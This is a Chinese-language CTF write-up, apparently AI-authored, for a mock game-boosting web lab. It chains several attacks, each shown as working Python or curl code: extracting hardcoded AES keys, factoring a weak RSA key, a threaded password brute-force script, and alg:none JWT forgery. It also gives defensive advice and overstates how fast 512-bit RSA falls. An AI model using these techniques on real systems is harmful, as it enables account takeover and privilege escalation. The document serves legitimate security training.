越权密钥 - CTF Web 安全综合挑战 Writeup 挑战概述 靶场名称 : 越权密钥 - 雾島风起時类型 : 综合 Web 安全靶场难度 : 中高级Flag : flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}
这是一个模拟真实业务场景的Web安全挑战,背景设定为”三角洲行动游戏陪玩下单平台”。整个攻击链涉及前端加密逆向、弱密码学、越权访问、信息泄露、JWT伪造等多个安全知识点,是一道非常有价值的综合性题目。
攻击链路径 整个挑战包含5个关键步骤,环环相扣:
前端加密逆向 - 逆向AES-CBC加密参数完成登录
IDOR越权攻击 - 分解弱RSA公钥还原打手加密标识
敏感信息挖掘 - 从客服聊天记录中挖掘隐藏报酬接口
JWT伪造提权 - 通过alg:none绕过或伪造令牌提权
获取Flag - 访问隐藏接口获取最终Flag
让我们逐步深入分析每个环节的技术细节。
Step 1: 前端加密逆向 (AES-CBC) 1.1 发现加密机制 访问靶场首页后,发现登录功能。查看页面源码,注意到加载了一个特殊的JavaScript文件:
1 <script src ="/static/js/login_crypto.js" > </script >
1.2 分析加密实现 下载并分析login_crypto.js文件,发现密码在前端使用AES-CBC模式加密:
1 2 3 4 5 6 7 8 9 const KEY_BYTES = new Uint8Array ([ 0x44 , 0x46 , 0x2d , 0x6c , 0x6f , 0x67 , 0x69 , 0x6e , 0x2d , 0x6b , 0x65 , 0x79 , 0x2d , 0x31 , 0x36 , 0x21 ]); const IV_BYTES = new Uint8Array ([ 0x31 , 0x36 , 0x2d , 0x62 , 0x79 , 0x74 , 0x65 , 0x2d , 0x6c , 0x6f , 0x67 , 0x69 , 0x6e , 0x2d , 0x69 , 0x76 ]);
关键发现 :
加密算法:AES-CBC
密钥长度:128位(16字节)
KEY和IV都硬编码在前端JS中
加密后使用Base64编码传输
1.3 编写加密脚本 基于发现的密钥参数,编写Python加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport base64 KEY = b'DF-login-key-16!' IV = b'16-byte-login-iv' def encrypt_password (password ): cipher = AES.new(KEY, AES.MODE_CBC, IV) padded = pad(password.encode(), AES.block_size) encrypted = cipher.encrypt(padded) return base64.b64encode(encrypted).decode()
1.4 测试登录 注册测试账号并成功登录:
1 2 3 4 5 6 7 curl -X POST http://target/api/crew/register \ -H "Content-Type: application/json" \ -d '{"role":"user","display_name":"testuser","username":"testuser001","password":"test123456"}' encrypted_pwd = "2K9FXkBb0P0fDfcxIMUezQ=="
收获 :获得了access_token,成功突破前端加密保护。
Step 2: IDOR越权 - 弱RSA密钥分解 2.1 发现加密用户名 在获取打手列表的API响应中,发现所有打手的username字段都是Base64编码的密文:
1 2 3 4 { "display_name" : "Kilo北栈" , "username" : "lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0IDhDZGWBBEruVGgyOH/yQVBe7iOwnP8pEAlx6YqrVeuff5rdRq77ew==" }
2.2 寻找RSA公钥 经过探索,发现RSA公钥在专门的API端点:
1 2 curl http://target/api/rsa_gen \ -H "X-Access-Token: YOUR_TOKEN"
响应:
1 2 3 4 { "alg" : "RSA/PKCS1v1.5" , "pubkey" : "-----BEGIN PUBLIC KEY-----\nMFwwDQYJ...\n-----END PUBLIC KEY-----" }
2.3 分析RSA密钥强度 提取RSA参数:
1 2 3 4 5 6 from Crypto.PublicKey import RSA key = RSA.import_key(open ('rsa_public.pem' ).read())print (f'Modulus N: {key.n} ' )print (f'Exponent e: {key.e} ' )print (f'Key size: {key.size_in_bits()} bits' )
输出:
1 2 3 Modulus N : 127329206056000281178105207772906325154069. .. Exponent e : 65537 Key size : 512 bits
关键发现 :这是一个512位的RSA密钥,在现代标准中属于极弱密钥,可以被快速分解!
2.4 分解弱RSA模数 使用Python的sympy库可以快速分解512位RSA模数:
1 2 3 4 5 6 7 from sympy import factorint N = 12732920605600028117810520777290632515406900458295844114646658469338740536327. .. factors = factorint(N) p = 112840243732455789648197748865738103507498045177858510412060728452781414555669 q = 112840243732455789648197748865738103507498045177858510412060728452781414556103
计算私钥指数d:
1 2 3 4 5 6 phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi)from Crypto.PublicKey import RSA key = RSA.construct((N, e, d, p, q))
2.5 解密打手用户名 使用生成的私钥解密Base64编码的用户名:
1 2 3 4 5 6 7 8 9 from Crypto.Cipher import PKCS1_v1_5import base64 private_key = RSA.import_key(open ('rsa_private.pem' ).read()) cipher = PKCS1_v1_5.new(private_key) encrypted = base64.b64decode("lIDIGKDeTcwfrqe/FUK4x92KAJB1wjt0..." ) decrypted = cipher.decrypt(encrypted, None )print (decrypted.decode())
成功解密多个打手的真实用户名 :
2.6 密码爆破 获得真实用户名后,下一步是获取密码。使用提供的爆破脚本配合常见密码字典:
1 2 3 4 5 python3 brute_login.py \ --base-url http://target \ --username kilo \ --wordlist rockyou.txt \ --threads 8
爆破成功 :kilo 的密码为 letmein
Step 3: 客服聊天记录挖掘 3.1 以真实打手身份登录 使用解密的用户名和爆破出的密码登录:
1 2 3 4 5 6 7 8 encrypted_pwd = encrypt_password("letmein" ) response = requests.post( "http://target/api/account/login" , json={"username" : "kilo" , "password" : encrypted_pwd} )
成功获取kilo的访问令牌:
access_token: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM
money_token (JWT): eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9…
3.2 查看客服消息 使用kilo的token访问客服消息接口:
1 2 curl http://target/api/booster/support/messages \ -H "X-Access-Token: HEkUy_HI4CKQiIdsqBKW0XAnxcN4LuTM"
关键发现 !在客服消息中找到隐藏的报酬接口路径:
1 2 3 4 5 6 { "content" : "请前往 http://localhost/money/15d25cb334a84bfb93a604549df9a570 领取你的报酬" , "sender" : "客服" , "side" : "agent" , "time" : "09:26" }
隐藏API路径 :/money/15d25cb334a84bfb93a604549df9a570
这正是我们需要的关键信息!只有真实打手账号的客服消息中才包含这个隐藏路径。
Step 4: JWT伪造提权 4.1 尝试访问报酬接口 直接使用kilo的JWT token访问隐藏的报酬接口:
1 2 curl http://target/money/15d25cb334a84bfb93a604549df9a570 \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
响应:
1 2 3 4 { "error" : "forbidden" , "message" : "insufficient privilege" }
权限不足 !需要提升JWT token的权限级别。
4.2 分析JWT结构 解码JWT token查看其结构:
1 2 3 4 5 6 7 echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -decho "eyJ1c2VybmFtZSI6ImtpbG8iLCJyb2xlIjoiYm9vc3RlciIsInNjb3BlIjoicmV3YXJkIn0" | base64 -d
JWT结构分析 :
算法:HS256(HMAC-SHA256)
用户角色:booster(打手)
权限范围:reward(报酬)
要访问报酬接口,可能需要更高的权限,例如admin角色。
4.3 JWT安全绕过 - alg:none攻击 JWT存在一个经典漏洞:alg:none绕过 。某些JWT库在验证时,如果算法设置为”none”,会跳过签名验证。
构造alg:none的JWT token:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import base64import json header = {"typ" : "JWT" , "alg" : "none" } payload = {"username" : "admin" , "role" : "admin" , "scope" : "reward" } h = base64.urlsafe_b64encode( json.dumps(header, separators=(',' ,':' )).encode() ).decode().rstrip('=' ) p = base64.urlsafe_b64encode( json.dumps(payload, separators=(',' ,':' )).encode() ).decode().rstrip('=' ) jwt_token = f"{h} .{p} ." print (jwt_token)
生成的token:
1 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ.
关键点 :
alg设置为”none”
payload中role改为”admin”
签名部分为空(但保留末尾的点)
4.4 使用伪造JWT访问报酬接口 使用构造的alg:none JWT token访问报酬接口:
1 2 curl http://target/money/15d25cb334a84bfb93a604549df9a570 \ -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwic2NvcGUiOiJyZXdhcmQifQ."
成功 !🎉
Step 5: 获取Flag 服务器接受了alg:none的JWT token,返回最终Flag:
1 2 3 4 { "flag" : "flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}" , "message" : "admin settlement" }
Flag : flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}
挑战成功完成!
技术总结 漏洞利用链 这道题目串联了多个真实场景中的安全漏洞,形成完整的攻击链:
前端硬编码密钥 → AES-CBC加密参数泄露
弱密码学算法 → 512位RSA可被快速分解
水平越权(IDOR) → 通过真实用户名+密码访问他人数据
敏感信息泄露 → 客服消息中暴露隐藏API路径
JWT安全缺陷 → alg:none绕过签名验证
关键知识点 1. 前端加密的误区 错误认知 :在前端加密可以保护用户密码
实际情况 :
前端代码完全透明,加密密钥容易被提取
前端加密无法防止中间人攻击
应该使用HTTPS + 后端加密
正确做法 :
HTTPS传输明文密码
后端使用bcrypt/argon2等单向哈希算法
考虑使用SRP等零知识证明协议
2. RSA密钥长度的重要性 512位RSA :
1999年已被成功分解
现代计算机几秒内即可破解
绝对不应在生产环境使用
推荐标准 :
最低2048位(目前标准)
推荐3072位或4096位
或使用椭圆曲线加密(ECC)
3. JWT安全最佳实践 alg:none漏洞原因 :
某些JWT库默认接受”none”算法
验证逻辑未正确处理算法字段
开发者未限制允许的算法列表
防御措施 :
明确指定允许的签名算法白名单
拒绝alg:none的token
使用最新版本的JWT库
定期更新签名密钥
使用强随机密钥(避免”secret”等弱密钥)
4. IDOR漏洞防御 本题中的IDOR路径 :
1 用户A (testuser) → 获取真实用户名(kilo) → 爆破密码 → 访问用户B 的数据
防御建议 :
使用不可预测的UUID替代用户名
服务端严格验证当前用户权限
避免在前端暴露真实用户标识
使用加密的session token而非明文用户名
实施访问控制列表(ACL)
工具脚本说明 密码爆破脚本分析 提供的爆破脚本(brute_login.py)实现了以下功能:
核心特性 :
AES-CBC加密集成 - 自动使用硬编码的KEY/IV加密密码
多线程并发 - 支持8-64线程并发爆破,大幅提升速度
字典支持 - 兼容标准密码字典(如rockyou.txt)
智能停止 - 发现正确密码后立即停止所有线程
请求控制 - 支持延迟、超时、最大尝试次数等参数
使用示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 python3 brute_login.py \ --base-url http://target:8000 \ --username kilo \ --password letmein python3 brute_login.py \ --base-url http://target:8000 \ --username kilo \ --wordlist rockyou.txt \ --threads 16 \ --max 10000 \ --delay 0.1
关键代码逻辑 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def encrypt_password (password: str ) -> str : cipher = AES.new(LOGIN_AES_KEY, AES.MODE_CBC, LOGIN_AES_IV) ciphertext = cipher.encrypt(pad(password.encode("utf-8" ), AES.block_size)) return base64.b64encode(ciphertext).decode("ascii" )with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [executor.submit(worker, pw) for pw in iter_passwords(wordlist)] for future in as_completed(futures): result = future.result() if result: stop_event.set () return result
性能优化技巧 :
使用线程池复用连接
发现正确密码后立即停止
支持设置延迟避免触发WAF
限制最大尝试次数节省时间
个人收获与思考 攻击链思维的重要性 这道题目最大的收获是学会攻击链思维 。单独的漏洞可能影响有限,但串联起来就能完成完整的攻击:
1 前端加密逆向 → RSA密钥分解 → IDOR越权 → 信息泄露 → JWT伪造 → 获取敏感数据
每一步都为下一步铺路,环环相扣。这也提醒我们在实际渗透测试中:
不要轻易放弃”看似无用”的信息
保持耐心,尝试将各种发现串联起来
一个小漏洞可能是整个攻击链的关键一环
真实场景的启发 靶场设计的巧妙之处 :
模拟了真实的业务场景(游戏陪玩平台)
漏洞设置符合实际开发中的常见错误
攻击路径需要逻辑推理,而非单纯技术堆砌
对实际安全开发的启示 :
前端加密≠安全,只是增加了逆向成本
密码学参数选择要慎重(密钥长度、算法版本等)
用户标识符设计要考虑安全性
JWT实现要严格验证算法字段
敏感信息不应暴露在任何前端/日志中
遇到的难点与解决 难点1:找不到RSA公钥
问题:在JS文件和HTML源码中找不到公钥
解决:探索发现独立的API端点 /api/rsa_gen
启示:关键参数可能在专门的配置接口中
难点2:无法通过API参数实现IDOR
问题:尝试username参数访问其他用户数据失败
解决:通过解密+密码爆破直接登录真实用户
启示:IDOR不一定是参数篡改,还可能是身份冒充
难点3:客服消息中找不到线索
问题:测试账号的消息只有欢迎信息
解决:需要以真实打手(kilo)身份登录才能看到隐藏路径
启示:不同角色/用户看到的数据可能完全不同
安全开发建议 基于本次挑战的经验,给开发团队的安全建议:
1. 密码传输
1 2 ❌ 前端AES-CBC加密 + HTTP传输 ✅ HTTPS传输明文 + 后端bcrypt哈希
2. 用户标识符
1 2 ❌ 可预测的用户名 + RSA加密 ✅ 不可预测的UUID + 服务端权限验证
3. JWT实现
1 2 3 4 5 6 7 8 9 10 jwt.decode(token, verify=False ) jwt.decode( token, key=SECRET_KEY, algorithms=["HS256" ], options={"verify_signature" : True } )
4. 敏感信息管理
1 2 ❌ API路径写在客服消息中 ✅ 动态生成带签名的临时访问链接
完整攻击流程回顾 快速复现步骤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 KEY="DF-login-key-16!" IV="16-byte-login-iv" curl http://target/api/rsa_gen -H "X-Access-Token: YOUR_TOKEN" > pubkey.pem python3 factor_rsa.py python3 decrypt_username.py "base64_encrypted_username" python3 brute_login.py --username kilo --wordlist rockyou.txt --threads 16 python3 aes_encrypt.py "letmein" curl -X POST http://target/api/account/login \ -d '{"username":"kilo","password":"9Y0I5DD+U5ymnvO0KJ4HTQ=="}' curl http://target/api/booster/support/messages \ -H "X-Access-Token: KILO_TOKEN" python3 jwt_forge.py curl http://target/money/15d25cb334a84bfb93a604549df9a570 \ -H "Authorization: Bearer FORGED_JWT"
时间线
00:00-00:15 - 前端加密逆向,提取AES密钥
00:15-00:30 - 发现RSA公钥端点,分解512位密钥
00:30-00:45 - 解密打手用户名
00:45-01:30 - 密码爆破(卡点较久)
01:30-01:45 - 以kilo身份登录,查看客服消息
01:45-02:00 - JWT伪造提权,获取Flag
总耗时 : 约2小时(包含探索和试错时间)
参考资源 相关工具
学习资源 密码学基础 :
JWT安全 :
IDOR漏洞 :
结语 这道”越权密钥”挑战是一次完整的Web安全攻防演练,涵盖了从信息收集、密码学攻击、权限提升到最终获取敏感数据的全过程。
最大的收获 :
学会了攻击链思维,将多个小漏洞串联成完整攻击
理解了密码学参数选择的重要性(密钥长度、算法版本)
认识到前端安全的局限性
掌握了JWT安全的常见陷阱
致谢 : 感谢”雾島风起時”系列靶场提供的优质学习资源,通过真实场景的模拟让我们能够在安全的环境中学习和实践。
最后的提醒 : 本writeup仅用于技术学习和安全研究,请勿将相关技术用于非法用途。网络安全从业者应当遵守法律法规和职业道德。
Author : Kiro AIDate : 2026-07-03Challenge : 越权密钥 - 雾島风起時Flag : flag{9d55332b-52fc-49cd-a79f-9900a88cd24b}
Happy Hacking! 🚀